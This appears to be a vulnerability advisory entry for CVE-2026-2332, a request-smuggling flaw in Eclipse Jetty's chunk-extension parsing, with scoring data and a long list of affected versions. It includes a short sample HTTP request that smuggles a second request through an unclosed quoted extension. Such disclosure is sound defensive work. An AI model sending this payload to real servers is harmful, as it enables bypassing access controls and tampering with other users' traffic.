Vulnerability Details CVE-2026-2332
In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the "funky chunks" techniques outlined here:
* https://w4ke.info/2025/06/18/funky-chunks.html
* https://w4ke.info/2025/10/29/funky-chunks-2.html
Jetty terminates chunk extension parsing at \r\n inside quoted strings instead of treating this as an error.
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
1;ext="val
X
0
GET /smuggled HTTP/1.1
...
Note how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.
Exploit prediction scoring system (EPSS) score
EPSS Score 0.0
EPSS Ranking 2.6%
CVSS Severity
CVSS v3 Score 7.4
Products affected by CVE-2026-2332
-
cpe:2.3:a:eclipse:jetty:10.0.0
-
cpe:2.3:a:eclipse:jetty:10.0.1
-
cpe:2.3:a:eclipse:jetty:10.0.10
-
cpe:2.3:a:eclipse:jetty:10.0.11
-
cpe:2.3:a:eclipse:jetty:10.0.12
-
cpe:2.3:a:eclipse:jetty:10.0.13
-
cpe:2.3:a:eclipse:jetty:10.0.14
-
cpe:2.3:a:eclipse:jetty:10.0.15
-
cpe:2.3:a:eclipse:jetty:10.0.16
-
cpe:2.3:a:eclipse:jetty:10.0.17
-
cpe:2.3:a:eclipse:jetty:10.0.18
-
cpe:2.3:a:eclipse:jetty:10.0.19
-
cpe:2.3:a:eclipse:jetty:10.0.2
-
cpe:2.3:a:eclipse:jetty:10.0.20
-
cpe:2.3:a:eclipse:jetty:10.0.21
-
cpe:2.3:a:eclipse:jetty:10.0.22
-
cpe:2.3:a:eclipse:jetty:10.0.23
-
cpe:2.3:a:eclipse:jetty:10.0.24
-
cpe:2.3:a:eclipse:jetty:10.0.25
-
cpe:2.3:a:eclipse:jetty:10.0.3
-
cpe:2.3:a:eclipse:jetty:10.0.4
-
cpe:2.3:a:eclipse:jetty:10.0.5
-
cpe:2.3:a:eclipse:jetty:10.0.6
-
cpe:2.3:a:eclipse:jetty:10.0.7
-
cpe:2.3:a:eclipse:jetty:10.0.8
-
cpe:2.3:a:eclipse:jetty:10.0.9
-
cpe:2.3:a:eclipse:jetty:11.0.0
-
cpe:2.3:a:eclipse:jetty:11.0.1
-
cpe:2.3:a:eclipse:jetty:11.0.10
-
cpe:2.3:a:eclipse:jetty:11.0.11
-
cpe:2.3:a:eclipse:jetty:11.0.12
-
cpe:2.3:a:eclipse:jetty:11.0.13
-
cpe:2.3:a:eclipse:jetty:11.0.14
-
cpe:2.3:a:eclipse:jetty:11.0.15
-
cpe:2.3:a:eclipse:jetty:11.0.16
-
cpe:2.3:a:eclipse:jetty:11.0.17
-
cpe:2.3:a:eclipse:jetty:11.0.18
-
cpe:2.3:a:eclipse:jetty:11.0.19
-
cpe:2.3:a:eclipse:jetty:11.0.2
-
cpe:2.3:a:eclipse:jetty:11.0.20
-
cpe:2.3:a:eclipse:jetty:11.0.21
-
cpe:2.3:a:eclipse:jetty:11.0.22
-
cpe:2.3:a:eclipse:jetty:11.0.23
-
cpe:2.3:a:eclipse:jetty:11.0.24
-
cpe:2.3:a:eclipse:jetty:11.0.25
-
cpe:2.3:a:eclipse:jetty:11.0.3
-
cpe:2.3:a:eclipse:jetty:11.0.4
-
cpe:2.3:a:eclipse:jetty:11.0.5
-
cpe:2.3:a:eclipse:jetty:11.0.6
-
cpe:2.3:a:eclipse:jetty:11.0.7
-
cpe:2.3:a:eclipse:jetty:11.0.8
-
cpe:2.3:a:eclipse:jetty:11.0.9
-
cpe:2.3:a:eclipse:jetty:12.0.0
-
cpe:2.3:a:eclipse:jetty:12.0.1
-
cpe:2.3:a:eclipse:jetty:12.0.10
-
cpe:2.3:a:eclipse:jetty:12.0.11
-
cpe:2.3:a:eclipse:jetty:12.0.12
-
cpe:2.3:a:eclipse:jetty:12.0.13
-
cpe:2.3:a:eclipse:jetty:12.0.14
-
cpe:2.3:a:eclipse:jetty:12.0.15
-
cpe:2.3:a:eclipse:jetty:12.0.16
-
cpe:2.3:a:eclipse:jetty:12.0.17
-
cpe:2.3:a:eclipse:jetty:12.0.18
-
cpe:2.3:a:eclipse:jetty:12.0.19
-
cpe:2.3:a:eclipse:jetty:12.0.2
-
cpe:2.3:a:eclipse:jetty:12.0.20
-
cpe:2.3:a:eclipse:jetty:12.0.21
-
cpe:2.3:a:eclipse:jetty:12.0.22
-
cpe:2.3:a:eclipse:jetty:12.0.23
-
cpe:2.3:a:eclipse:jetty:12.0.24
-
cpe:2.3:a:eclipse:jetty:12.0.25
-
cpe:2.3:a:eclipse:jetty:12.0.26
-
cpe:2.3:a:eclipse:jetty:12.0.27
-
cpe:2.3:a:eclipse:jetty:12.0.28
-
cpe:2.3:a:eclipse:jetty:12.0.29
-
cpe:2.3:a:eclipse:jetty:12.0.3
-
cpe:2.3:a:eclipse:jetty:12.0.30
-
cpe:2.3:a:eclipse:jetty:12.0.31
-
cpe:2.3:a:eclipse:jetty:12.0.32
-
cpe:2.3:a:eclipse:jetty:12.0.4
-
cpe:2.3:a:eclipse:jetty:12.0.5
-
cpe:2.3:a:eclipse:jetty:12.0.6
-
cpe:2.3:a:eclipse:jetty:12.0.7
-
cpe:2.3:a:eclipse:jetty:12.0.8
-
cpe:2.3:a:eclipse:jetty:12.0.9
-
cpe:2.3:a:eclipse:jetty:12.1.0
-
cpe:2.3:a:eclipse:jetty:12.1.1
-
cpe:2.3:a:eclipse:jetty:12.1.2
-
cpe:2.3:a:eclipse:jetty:12.1.3
-
cpe:2.3:a:eclipse:jetty:12.1.4
-
cpe:2.3:a:eclipse:jetty:12.1.5
-
cpe:2.3:a:eclipse:jetty:12.1.6
-
cpe:2.3:a:eclipse:jetty:9.4.0
-
cpe:2.3:a:eclipse:jetty:9.4.1
-
cpe:2.3:a:eclipse:jetty:9.4.10
-
cpe:2.3:a:eclipse:jetty:9.4.11
-
cpe:2.3:a:eclipse:jetty:9.4.12
-
cpe:2.3:a:eclipse:jetty:9.4.13
-
cpe:2.3:a:eclipse:jetty:9.4.14
-
cpe:2.3:a:eclipse:jetty:9.4.15
-
cpe:2.3:a:eclipse:jetty:9.4.16
-
cpe:2.3:a:eclipse:jetty:9.4.17
-
cpe:2.3:a:eclipse:jetty:9.4.18
-
cpe:2.3:a:eclipse:jetty:9.4.19
-
cpe:2.3:a:eclipse:jetty:9.4.2
-
cpe:2.3:a:eclipse:jetty:9.4.20
-
cpe:2.3:a:eclipse:jetty:9.4.21
-
cpe:2.3:a:eclipse:jetty:9.4.22
-
cpe:2.3:a:eclipse:jetty:9.4.23
-
cpe:2.3:a:eclipse:jetty:9.4.24
-
cpe:2.3:a:eclipse:jetty:9.4.25
-
cpe:2.3:a:eclipse:jetty:9.4.26
-
cpe:2.3:a:eclipse:jetty:9.4.27
-
cpe:2.3:a:eclipse:jetty:9.4.28
-
cpe:2.3:a:eclipse:jetty:9.4.29
-
cpe:2.3:a:eclipse:jetty:9.4.3
-
cpe:2.3:a:eclipse:jetty:9.4.30
-
cpe:2.3:a:eclipse:jetty:9.4.31
-
cpe:2.3:a:eclipse:jetty:9.4.32
-
cpe:2.3:a:eclipse:jetty:9.4.33
-
cpe:2.3:a:eclipse:jetty:9.4.34
-
cpe:2.3:a:eclipse:jetty:9.4.35
-
cpe:2.3:a:eclipse:jetty:9.4.36
-
cpe:2.3:a:eclipse:jetty:9.4.37
-
cpe:2.3:a:eclipse:jetty:9.4.38
-
cpe:2.3:a:eclipse:jetty:9.4.39
-
cpe:2.3:a:eclipse:jetty:9.4.4
-
cpe:2.3:a:eclipse:jetty:9.4.40
-
cpe:2.3:a:eclipse:jetty:9.4.41
-
cpe:2.3:a:eclipse:jetty:9.4.42
-
cpe:2.3:a:eclipse:jetty:9.4.43
-
cpe:2.3:a:eclipse:jetty:9.4.44
-
cpe:2.3:a:eclipse:jetty:9.4.45
-
cpe:2.3:a:eclipse:jetty:9.4.46
-
cpe:2.3:a:eclipse:jetty:9.4.47
-
cpe:2.3:a:eclipse:jetty:9.4.48
-
cpe:2.3:a:eclipse:jetty:9.4.49
-
cpe:2.3:a:eclipse:jetty:9.4.5
-
cpe:2.3:a:eclipse:jetty:9.4.50
-
cpe:2.3:a:eclipse:jetty:9.4.51
-
cpe:2.3:a:eclipse:jetty:9.4.52
-
cpe:2.3:a:eclipse:jetty:9.4.53
-
cpe:2.3:a:eclipse:jetty:9.4.54
-
cpe:2.3:a:eclipse:jetty:9.4.55
-
cpe:2.3:a:eclipse:jetty:9.4.57
-
cpe:2.3:a:eclipse:jetty:9.4.6
-
cpe:2.3:a:eclipse:jetty:9.4.7
-
cpe:2.3:a:eclipse:jetty:9.4.8
-
cpe:2.3:a:eclipse:jetty:9.4.9